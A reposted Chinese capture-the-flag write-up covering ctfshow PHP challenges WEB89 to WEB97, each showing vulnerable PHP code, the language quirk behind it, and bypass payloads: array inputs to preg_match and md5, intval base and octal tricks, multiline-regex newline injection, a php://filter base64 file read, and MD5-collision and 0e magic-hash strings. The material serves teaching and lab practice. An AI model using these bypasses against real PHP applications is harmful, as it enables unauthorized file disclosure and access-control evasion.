CTFSHOW-PHP特性
作者:互联网
WEB89
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
知识点:
数组绕过正则表达式
preg_match()返回
pattern
的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject
直到到达结尾。 如果发生错误preg_match()返回false
。preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错,从而返回false,达到我们的目的。
2、intval()
获取变量的整数值
只有value
是一个字符串时,base
才会起作用。通过使用指定的进制
base
转换(默认是十进制),成功时返回value
的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。 intval() 不能用于 object,否则会产生E_NOTICE
错误并返回 1。intval()函数,如果$base为0,则$var中存在字母的话遇到字母就停止
方法:
payload:?num[]=1
WEB90
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
知识点:
1、
==只比较值是否相等,比如'1'==1是相等的(弱比较),在进行数值的比较时会进行进制的转换,如16==0x10是正确的,而16==‘0x10’是不对的,后面的‘0x10’转换为数字是等于0,16==‘16.0’是正确的,16==‘16.1’是错误的。
=是赋值,比如:$a=2;$a=$q;这时你无论echo $a还是echo $q都会输出2,
全等===,既比较类型又比较字符串大小的,例如:1===1是相等的,"1"===1是不相等的;进行数值的比较时不会进行进制的转换,如'16'==='0x10'是错误的。即等式左右一模一样
2、字符串转换为数值
因为我们提交的参数值默认就是字符串类型 ,所以base会起作用,传参一个数既要使其不强等于4476,又要使得intval函数处理后的结果强等于4476
所以,payload:
?num=4476a
intval(‘4476a’)只读取4476从而转化为4476
其他payload:
intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格
其他问题:
<?php
$a=$_GET['1'];
$b=$_GET[2];
$c=$_POST['3'];
$d=$_POST[4];
var_dump($a);
var_dump($b);
var_dump($c);
var_dump($d);
?>
//里面的一般默认加引号,数字可以不用区别,但是字符串需要不然会报错但是不影响运行
例如
Warning: Use of undefined constant b - assumed 'b' (this will throw an Error in a future version of PHP) in /Applications/phpstudy/WWW/test.php on line 5
string(3) "xxx" string(3) "aaa" string(3) "yyy" string(3) "bbb"
从下图可以看到,POST和GET传参都是为字符串类型
WEB91
题目:
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
知识点:
1、正则匹配
修饰符:
i ignore - 不区分大小写 将匹配设置为不区分大小写,搜索时不区分大小写: A 和 a 没有区别。
m multi line - 多行匹配 使边界字符 ^ 和 $ 匹配每一行的开头和结尾,记住是多行,而不是整个字符串的开头和结尾。所有行只要有一行匹配到了就返回1 元字符:
^ 匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 '\n' 或 '\r' 之后的位置。
$ 匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 '\n' 或 '\r' 之前的位置。
在默认状态下,一个字符串无论是否换行只有一个开始^和结尾$,如果采用多行匹配(加了m),那么每一行都有一个^和结尾$。
^php 意思为以php开头
php$ 意思是以php结尾
^php$ 意思是以php开头并以php结尾
方法:
payload:?num=%0aphp
%0aphp即换行+php:
'
php'
经过第一个匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。
经过第二个正则表达式时,因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag
WEB92
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
方法:
用4476a是无法绕过第六行的,弱比较下两者直接相等
可以利用16进制、8进制、小数点过滤,做法类似web90
payload:?num=4476.1(小数点位只要不是0就行)
因为是弱比较,4476==‘4476.0’是正确的,4476==‘4476.1’是错误的
方法2:
e这个字母比较特殊,在PHP中会被当作科学计数法。这是PHP在处理字符串时的一个缺陷
所以为了绕过第5行:==4476,我们就可以构造4476e123,被认为是科学计数法,值是:4476×10^123
第8行intval()函数处理时遇到字母就停止,所以只读取4476而不是4476e123,从而绕过
WEB93
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
方法:
过滤了字母,用8进制、小数点
WEB94
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
知识点:
1、strpos()
strpos() 函数对大小写敏感。
strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写且从0开始)。同时如果没有找到字符串会 FALSE。
同时注意字符串位置是从0开始,而不是从1开始的。
分析:
比上一关增加条件,strpos函数限制了传参第一位不能为0,如果为0,就die.
但是如果找不到的0话也会die。因为是强等于符合,所以payload可以为:
我们可以在八进制前加一个空格
?num= 010574
或者用小数点
?num=4476.0
或者再加个 +
?num=+4476.0
WEB95
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
分析:过滤了点
过滤了点,使用八进制
根据定义,这题的$num参数中必须满足这几点:
1. 值不能是4476
2. 不能含有字母
3. 值中必须有0,但第一个数字不能是0
4. intval($num,0)===4476
5. 不能有小数点
通过换行符%0a 、空格符%20结合八进制绕过
方法:
payload:
?num= 010574 //注意开头的空格
?num=%0a010574
?num=%20010574
?num=+010574
?num=%09010574
?num=%2b010574 (%2b是+的url编码)
intval 会对以+或空格开头数字当作正数处理
WEB96
题目:
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
知识点:
在linux下面表示当前目录是 ./
payload:
./flag.php 相对路径
php://filter/resource=flag.php php伪协议
php://filter/read=convert.base64-encode/resource=flag.php
随便输入一个文件
发现了路径,所以还可以用绝对路径来显示这个文件。
payload:?u = /var/www/html/flag.php
WEB97
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
知识点:
php中hash比较缺陷
这里用的是强比较,所以利用MD5加密后为0e开头的字符串做法是不行的
方法1:数组
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。
payload:a[]=1&b[]=2
方法2:
不利用数组,而是使用md5加密后数据一致但原始数据不同的两个字符串。原理是将hex字符串转化为ascii字符串,并写入到bin文件
考虑到要将一些不可见字符传到服务器,这里使用url编码
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
(这里用HackBar不能出结果,需用burpsuit)
拓展
md5弱比较,使用了强制类型转换后不再接收数组
$a=$_POST['a'];
$b=$_POST['b'];
if( ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708
WEB98
题目:
持续更新:
标签:php,intval,特性,num,CTFSHOW,字符串,PHP,payload,4476 来源: https://blog.csdn.net/qq_46918279/article/details/120667769